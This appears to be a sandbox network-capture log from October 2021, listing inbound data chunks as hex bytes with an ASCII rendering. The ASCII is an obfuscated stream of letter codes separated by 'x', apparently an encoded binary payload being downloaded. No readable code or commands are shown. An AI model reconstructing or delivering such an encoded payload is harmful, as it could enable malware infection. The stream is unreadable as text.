kQ x Yx x kR x Rk x kQ x kk x RR x Ooo x RY x RQ x Oxx x RQ x kE x kK x tt x OoO x tR x OxQ
2021-10-29 15:55:36 UTC	2662	IN	Data Raw: 20 78 20 6b 52 20 78 20 59 78 20 78 20 51 78 20 78 20 6b 6b 20 78 20 74 4b 20 78 20 4b 6b 20 78 20 6b 52 20 78 20 74 4f 20 78 20 59 74 20 78 20 6b 4b 20 78 20 51 78 20 78 20 6b 74 20 78 20 4f 6f 78 20 78 20 4f 78 51 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 4b 45 20 78 20 52 59 20 78 20 52 51 20 78 20 74 6b 20 78 20 4f 4f 59 20 78 20 51 6b 20 78 20 59 4f 20 78 20 74 6b 20 78 20 4f 78 6b 20 78 20 6b 59 20 78 20 59 78 20 78 20 6b 52 20 78 20 4f 6f 4f 20 78 20 4f 78 78 20 78 20 4f 78 51 20 78 20 4f 78 6b 20 78 20 4f 78 52 20 78 20 51 78 20 78 20 6b 59 20 78 20 4f 78 4b 20 78 20 4f 78 4b 20 78 20 51 6b 20 78 20 4f 78 51 20 78 20 6b 6f 20 78 20 4f 4f 59 20 78 20 51 78 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 4b 51 20 78 20 4f 4f 51 20 Data Ascii: x kR x Yx x Qx x kk x tK x Kk x kR x tO x Yt x kK x Qx x kt x Oox x OxQ x RY x RY x RY x KE x RY x RQ x tk x OOY x Qk x YO x tk x Oxk x kY x Yx x kR x OoO x Oxx x OxQ x Oxk x OxR x Qx x kY x OxK x OxK x Qk x OxQ x ko x OOY x Qx x kO x RY x RY x KQ x OOQ
2021-10-29 15:55:36 UTC	2663	IN	Data Raw: 4f 78 6b 20 78 20 4f 4f 59 20 78 20 51 78 20 78 20 6b 52 20 78 20 51 51 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 4f 4f 20 78 20 52 52 20 78 20 6b 59 20 78 20 59 78 20 78 20 4f 78 4b 20 78 20 4f 78 6b 20 78 20 51 6b 20 78 20 74 4f 20 78 20 4f 6f 78 20 78 20 74 78 20 78 20 4f 78 4f 20 78 20 74 4f 20 78 20 6b 52 20 78 20 4f 78 52 20 78 20 4f 78 78 20 78 20 6b 6b 20 78 20 6b 6f 20 78 20 4f 78 6b 20 78 20 6b 6f 20 78 20 6b 6b 20 78 20 4f 78 4b 20 78 20 6b 6b 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 4f 59 20 78 20 52 52 20 78 20 6b 59 20 78 20 59 78 20 78 20 4f 78 4b 20 78 20 4f 78 6b 20 78 20 51 6b 20 78 20 74 4f 20 78 20 4f 6f 78 20 78 20 74 78 20 78 20 4f 78 4f 20 78 20 74 4f 20 78 20 6b 52 20 78 20 4f 78 52 20 78 20 4f 78 78 20 78 20 6b 6b Data Ascii: Oxk x OOY x Qx x kR x QQ x RY x RY x RY x OOO x RR x kY x Yx x OxK x Oxk x Qk x tO x Oox x tx x OxO x tO x kR x OxR x Oxx x kk x ko x Oxk x ko x kk x OxK x kk x RY x RY x OOY x RR x kY x Yx x OxK x Oxk x Qk x tO x Oox x tx x OxO x tO x kR x OxR x Oxx x kk
2021-10-29 15:55:36 UTC	2665	IN	Data Raw: 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 Data Ascii: RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x
2021-10-29 15:55:36 UTC	2666	IN	Data Raw: 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 51 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 74 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 74 6f 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 74 20 78 20 4b 51 20 78 20 52 52 20 78 20 Data Ascii: Y x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RQ x RY x RY x RY x RY x kY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x kO x RY x RY x RY x RY x tO x RY x RY x RY x RY x RY x RY x RY x RY x RY x to x OxE x RY x RY x RY x Rt x KQ x RR x
2021-10-29 15:55:36 UTC	2667	IN	Data Raw: 4b 20 78 20 74 74 20 78 20 4f 4f 51 20 78 20 4f 4f 59 20 78 20 4f 6f 6f 20 78 20 74 52 20 78 20 4f 6f 6f 20 78 20 4f 78 6f 20 78 20 4f 4f 4b 20 78 20 4f 78 4f 20 78 20 4f 6f 78 20 78 20 74 45 20 78 20 6b 6b 20 78 20 6b 45 20 78 20 4f 78 6b 20 78 20 4f 4f 4f 20 78 20 4f 78 59 20 78 20 6b 4b 20 78 20 4f 78 74 20 78 20 4f 4f 45 20 78 20 59 4b 20 78 20 4f 4f 4f 20 78 20 59 4f 20 78 20 4f 4f 6b 20 78 20 6b 78 20 78 20 4f 4f 6b 20 78 20 59 45 20 78 20 4b 45 20 78 20 4f 4f 6b 20 78 20 4f 6f 78 20 78 20 4b 74 20 78 20 6b 78 20 78 20 74 52 20 78 20 4f 78 4b 20 78 20 4f 4f 52 20 78 20 74 52 20 78 20 4b 74 20 78 20 4b 51 20 78 20 4f 4f 74 20 78 20 74 52 20 78 20 52 74 20 78 20 4f 78 4b 20 78 20 4f 4f 4f 20 78 20 4f 4f 4b 20 78 20 4f 6f 4f 20 78 20 59 45 20 78 20 4f Data Ascii: K x tt x OOQ x OOY x Ooo x tR x Ooo x Oxo x OOK x OxO x Oox x tE x kk x kE x Oxk x OOO x OxY x kK x Oxt x OOE x YK x OOO x YO x OOk x kx x OOk x YE x KE x OOk x Oox x Kt x kx x tR x OxK x OOR x tR x Kt x KQ x OOt x tR x Rt x OxK x OOO x OOK x OoO x YE x O
2021-10-29 15:55:36 UTC	2669	IN	Data Raw: 20 78 20 59 59 20 78 20 52 51 20 78 20 4f 78 4b 20 78 20 4f 78 78 20 78 20 74 59 20 78 20 6b 74 20 78 20 4f 78 59 20 78 20 74 4b 20 78 20 74 51 20 78 20 6b 45 20 78 20 4f 4f 4b 20 78 20 4f 4f 45 20 78 20 4f 78 52 20 78 20 4f 78 4f 20 78 20 59 52 20 78 20 4b 45 20 78 20 4b 74 20 78 20 4f 4f 78 20 78 20 59 4b 20 78 20 4b 74 20 78 20 74 6f 20 78 20 59 52 20 78 20 59 52 20 78 20 4f 4f 74 20 78 20 74 4f 20 78 20 4b 6b 20 78 20 4f 4f 6b 20 78 20 4b 74 20 78 20 6b 74 20 78 20 59 6f 20 78 20 4f 4f 59 20 78 20 74 59 20 78 20 74 4f 20 78 20 4f 78 59 20 78 20 4f 4f 6b 20 78 20 74 52 20 78 20 4f 78 51 20 78 20 4f 4f 6b 20 78 20 4f 4f 4f 20 78 20 59 4b 20 78 20 4f 78 51 20 78 20 59 4b 20 78 20 4f 4f 74 20 78 20 59 59 20 78 20 4f 78 59 20 78 20 4b 51 20 78 20 4f 4f 6f Data Ascii: x YY x RQ x OxK x Oxx x tY x kt x OxY x tK x tQ x kE x OOK x OOE x OxR x OxO x YR x KE x Kt x OOx x YK x Kt x to x YR x YR x OOt x tO x Kk x OOk x Kt x kt x Yo x OOY x tY x tO x OxY x OOk x tR x OxQ x OOk x OOO x YK x OxQ x YK x OOt x YY x OxY x KQ x OOo
2021-10-29 15:55:36 UTC	2670	IN	Data Raw: 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 Data Ascii: x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY
2021-10-29 15:55:36 UTC	2671	IN	Data Raw: 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 Data Ascii: Y x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x R
2021-10-29 15:55:36 UTC	2673	IN	Data Raw: 78 20 52 59 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 52 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 74 59 20 78 20 52 59 20 78 20 74 45 20 78 20 52 59 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 52 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 4f 51 20 78 20 52 52 20 78 20 4f 4f 74 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 4f 20 78 20 52 59 20 78 20 74 45 20 78 20 52 59 20 78 20 4f 78 45 20 78 20 74 45 20 78 20 6b 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 Data Ascii: x RY x kO x RY x RR x RY x RY x RY x RY x tY x RY x tE x RY x OxE x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RR x RY x RY x RY x RY x RY x RY x RY x RY x OOQ x RR x OOt x RY x RY x RY x RY x kO x RY x tE x RY x OxE x tE x kY x RY x RY x RY x
2021-10-29 15:55:36 UTC	2674	IN	Data Raw: 20 52 59 20 78 20 52 51 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 74 20 78 20 6b 4f 20 78 20 52 59 20 78 20 4f 4f 51 20 78 20 52 74 20 78 20 52 59 20 78 20 74 45 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 74 59 20 78 20 4f 78 45 20 78 20 52 6b 20 78 20 52 59 20 78 20 74 45 20 78 20 52 59 20 78 20 4f 78 52 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 4f 51 20 78 20 52 59 20 78 20 74 74 20 78 20 52 59 20 78 20 4f 78 45 20 78 20 52 74 20 78 20 6b 51 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 6b 20 78 20 6b 51 20 78 20 52 59 20 78 20 4f 4f 51 20 78 20 52 74 20 78 20 52 59 20 78 20 74 4b 20 78 20 4f 4f 51 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 78 20 78 20 52 59 Data Ascii: RY x RQ x RY x RY x RY x Rt x kO x RY x OOQ x Rt x RY x tE x RY x RY x RY x RY x tY x OxE x Rk x RY x tE x RY x OxR x RY x RY x RY x RY x OOQ x RY x tt x RY x OxE x Rt x kQ x RY x RY x RY x Rk x kQ x RY x OOQ x Rt x RY x tK x OOQ x RY x RY x RY x kx x RY
2021-10-29 15:55:36 UTC	2675	IN	Data Raw: 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 74 20 78 20 4f 78 45 20 78 20 74 78 20 78 20 52 59 20 78 20 74 45 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 51 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 51 20 78 20 52 59 20 78 20 74 78 20 78 20 52 59 20 78 20 74 45 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 Data Ascii: RY x RY x RY x Rt x OxE x tx x RY x tE x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x kO x RY x RY x RY x RY x RY x RY x RY x RQ x RY x RY x kO x RY x RY x RY x RQ x RY x tx x RY x tE x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY
2021-10-29 15:55:36 UTC	2677	IN	Data Raw: 20 78 20 52 59 20 78 20 52 59 20 78 20 74 59 20 78 20 4f 78 45 20 78 20 74 78 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 51 20 78 20 52 59 20 78 20 52 6b 20 78 20 6b 4f 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 74 52 20 78 20 4f 78 45 20 78 20 74 78 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 Data Ascii: x RY x RY x tY x OxE x tx x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x kO x RY x RY x RY x RY x RY x RY x RY x RQ x RY x Rk x kO x kO x RY x RY x tR x OxE x tx x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x
2021-10-29 15:55:36 UTC	2678	IN	Data Raw: 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 51 20 78 20 52 59 20 78 20 52 74 20 78 20 6b 4f 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 6b 20 78 20 4f 78 45 20 78 20 74 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 51 20 78 20 52 59 20 78 20 52 74 20 78 20 6b 4f 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 Data Ascii: x RY x RY x RY x kO x RY x RY x RY x RY x RY x RY x RY x RQ x RY x Rt x kO x kO x RY x RY x Rk x OxE x tO x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x kO x RY x RY x RY x RY x RY x RY x RY x RQ x RY x Rt x kO x kO x RY x RY x R
2021-10-29 15:55:36 UTC	2679	IN	Data Raw: 78 20 52 59 20 78 20 52 59 20 78 20 74 52 20 78 20 4f 78 45 20 78 20 74 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 51 20 78 20 52 59 20 78 20 52 74 20 78 20 6b 4f 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 74 74 20 78 20 4f 78 45 20 78 20 74 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 Data Ascii: x RY x RY x tR x OxE x tO x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x kO x RY x RY x RY x RY x RY x RY x RY x RQ x RY x Rt x kO x kO x RY x RY x tt x OxE x tO x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x R
2021-10-29 15:55:36 UTC	2681	IN	Data Raw: 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 51 20 78 20 52 59 20 78 20 52 6b 20 78 20 6b 4f 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 51 20 78 20 4f 78 45 20 78 20 74 6f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 51 20 78 20 52 59 20 78 20 52 6b 20 78 20 6b 4f 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 74 78 Data Ascii: x RY x RY x RY x kO x RY x RY x RY x RY x RY x RY x RY x RQ x RY x Rk x kO x kO x RY x RY x RQ x OxE x to x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x kO x RY x RY x RY x RY x RY x RY x RY x RQ x RY x Rk x kO x kO x RY x RY x tx
2021-10-29 15:55:36 UTC	2682	IN	Data Raw: 20 78 20 52 59 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 6b 20 78 20 4f 78 74 20 78 20 52 74 20 78 20 4f 78 45 20 78 20 74 45 20 78 20 52 59 20 78 20 4f 4f 4f 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 74 51 20 78 20 6b 4f 20 78 20 52 51 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 78 59 20 78 20 52 59 20 78 20 4f 4f 59 20 78 20 52 74 20 78 20 52 59 20 78 20 74 4b 20 78 20 6b 51 20 78 20 52 74 20 78 20 52 59 20 78 20 52 59 20 78 20 52 6b 20 78 20 4f 78 74 20 78 20 52 52 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 Data Ascii: x RY x kO x RY x RY x RY x RY x RY x RY x RY x Rk x Oxt x Rt x OxE x tE x RY x OOO x OxE x RY x RY x RY x tQ x kO x RQ x RY x RY x RY x RY x RY x RY x RY x RY x OxY x RY x OOY x Rt x RY x tK x kQ x Rt x RY x RY x Rk x Oxt x RR x RY x RY x RY x RY x RY x
2021-10-29 15:55:36 UTC	2683	IN	Data Raw: 20 78 20 4f 78 45 20 78 20 74 45 20 78 20 52 59 20 78 20 74 52 20 78 20 52 59 20 78 20 74 45 20 78 20 52 59 20 78 20 52 59 20 78 20 74 51 20 78 20 6b 4f 20 78 20 52 51 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 74 20 78 20 52 74 20 78 20 6b 4f 20 78 20 52 74 20 78 20 52 59 20 78 20 74 52 20 78 20 74 45 20 78 20 52 52 20 78 20 52 59 20 78 20 52 59 20 78 20 52 6b 20 78 20 4f 78 74 20 78 20 52 52 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 4f 51 20 78 20 4f 78 51 20 78 20 52 59 20 78 20 4f 78 45 20 78 20 52 74 20 78 20 6b 74 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 Data Ascii: x OxE x tE x RY x tR x RY x tE x RY x RY x tQ x kO x RQ x RY x RY x RY x RY x RY x RY x RY x RY x kt x Rt x kO x Rt x RY x tR x tE x RR x RY x RY x Rk x Oxt x RR x RY x RY x RY x RY x RY x RY x RY x RY x RY x OOQ x OxQ x RY x OxE x Rt x kt x RY x RY x RY
2021-10-29 15:55:36 UTC	2685	IN	Data Raw: 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 52 20 78 20 4f 4f 51 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 74 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 51 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 51 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 Data Ascii: RY x RY x RY x RY x RY x RY x RY x RR x OOQ x RY x RY x RY x Rt x OxE x RY x RY x RY x RY x OxE x RY x RY x RY x RY x kO x RY x RY x RY x RY x RY x RQ x RY x RY x kO x RY x RY x RY x RY x RY x RY x RY x RY x RQ x RY x RY x RY x RY x RY x RY x RY x RY x R
2021-10-29 15:55:36 UTC	2686	IN	Data Raw: 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 45 20 78 20 52 59 20 78 20 6b 78 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4f 78 45 20 78 20 52 6b 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 59 6f 20 78 20 52 59 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 59 52 20 78 20 52 59 20 78 20 74 6f 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 45 20 78 20 52 59 20 78 20 52 52 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 78 20 78 20 4b 74 20 78 20 4b 74 20 78 Data Ascii: Kt x Kt x Kt x Kt x Kt x Kt x Kt x Kt x Kt x Kt x Kt x Kt x Kt x Kt x Kt x Kt x Kt x Kt x Kt x KE x RY x kx x Kt x Kt x Kt x OxE x Rk x Kt x Kt x Kt x Yo x RY x Kt x Kt x Kt x YR x RY x to x Kt x Kt x KE x RY x RR x Kt x Kt x Kt x RY x RY x kx x Kt x Kt x
2021-10-29 15:55:36 UTC	2687	IN	Data Raw: 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 Data Ascii: x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY
